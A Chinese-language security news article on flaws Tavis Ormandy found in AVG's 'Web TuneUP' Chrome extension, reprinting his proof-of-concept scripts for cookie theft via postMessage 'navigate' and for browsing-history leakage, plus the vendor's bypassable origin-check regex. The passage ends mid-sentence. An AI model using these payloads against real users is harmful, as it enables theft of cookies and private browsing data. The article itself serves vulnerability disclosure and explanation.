谷歌瀏覽器插件曝多個(gè)高危漏洞,影響900萬(wàn)用戶
這個(gè)插件添加了很多的api用來(lái)操作谷歌瀏覽器,比如可以輕易的劫持搜索框和新標(biāo)簽頁(yè)。而由于其安裝過(guò)程十分復(fù)雜,所以能夠逃避谷歌惡意軟件的檢查,特別是能夠逃避谷歌瀏覽器“阻止濫用擴(kuò)展的API”的檢查。
事實(shí)上其中的很多api是有問(wèn)題的,攻擊者可以通過(guò)構(gòu)造payload成功盜取用戶在avg.com上的cookie,還可以獲取用戶的瀏覽記錄以及其他的私人數(shù)據(jù),甚至有可能成功實(shí)施任意命令執(zhí)行。
攻擊手法
Tavis在給廠商的郵件中列舉了幾種攻擊手法:"navigate" API 將會(huì)導(dǎo)致一個(gè)通用的跨域xss漏洞,attacker.com可以跨域讀取訪問(wèn)者的mail.google.com的郵件或者是來(lái)自于其他網(wǎng)站的數(shù)據(jù)。
- <script>
- for (i = 0; i < 256; i++) {
- window.postMessage({ origin: "web", action: "navigate", data: {
- url: "javascript:document.location.hostname.endsWith('.avg.com')"
- + "?"
- + "alert(document.domain + ':' +document.cookie)"
- + ":"
- + "false",
- tabID: i
- }}, "*");
- }
- </script>
以上代碼為Tavis給的poc
通過(guò) window.postMessage(允許跨域通信的javascript api) 不間斷的向 AVG: "Web TuneUP”插件發(fā)起請(qǐng)求,請(qǐng)求的數(shù)據(jù)為:
- { origin: "web", action: "navigate", data: {url:"javascript:document.location.hostname.endsWith('.avg.com')"+ "?"+ "alert(document.domain + ':' +document.cookie)"+ ":"+ "false",tabID: i}}
當(dāng)用戶的標(biāo)簽頁(yè)在訪問(wèn)avg.com網(wǎng)站時(shí),將爆破以.avg.com結(jié)尾的網(wǎng)站的當(dāng)前域名和cookie值。"recently" api將會(huì)泄露當(dāng)前用戶的瀏覽記錄
- <script>
- window.addEventListener("message", receiveMessage, false);
- window.postMessage({ from: "web", to: "content", method: "recently" }, "*")
- function receiveMessage(event)
- {
- if (event.data != undefined && event.data.historyItems != undefined) {
- var obj = JSON.parse(event.data.historyItems);
- document.write("Here is a list of websites you've been visiting");
- document.write("<br>");
- for (i in obj) {
- var d = new Date(obj[i]);
- document.write("<a href=" + i + ">" + i + "</a> on " + d);
- document.write("<br>");
- }
- }
- }
- </script>
以上代碼為Tavis給的poc
通過(guò)window.postMessage向插件的"recently"API發(fā)起請(qǐng)求獲取當(dāng)前用戶的瀏覽記錄,本地監(jiān)聽(tīng)事件來(lái)獲取返回的數(shù)據(jù),然后輸出數(shù)據(jù)。
隨后廠商對(duì)此進(jìn)行了修復(fù),但是由于修復(fù)的不對(duì),又被Tavis繞過(guò)了。修復(fù)的代碼中增加了判斷
- var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);
- if (match ! null {
- ...
- }
判斷來(lái)源是不是包含".avg.com",但是這個(gè)很容易被繞過(guò)。比如https://www.avg.com.www.attacker.com這個(gè)域名就能繞過(guò)這個(gè)限定,繼續(xù)實(shí)施上面提到的兩個(gè)攻擊。又會(huì)因?yàn)樯厦娴膶?duì)協(xié)議的判斷是既支持http又支持https,于是又產(chǎn)生了“中間人攻擊”這個(gè)問(wèn)題。
廠商對(duì)此又進(jìn)行了修復(fù),這次限制了域名必須為"mysearch.avg.com"和"webtuneup.avg.com" 。但通過(guò)下面這個(gè)xss,他又可以對(duì)用戶數(shù)據(jù)進(jìn)行竊?。?/p>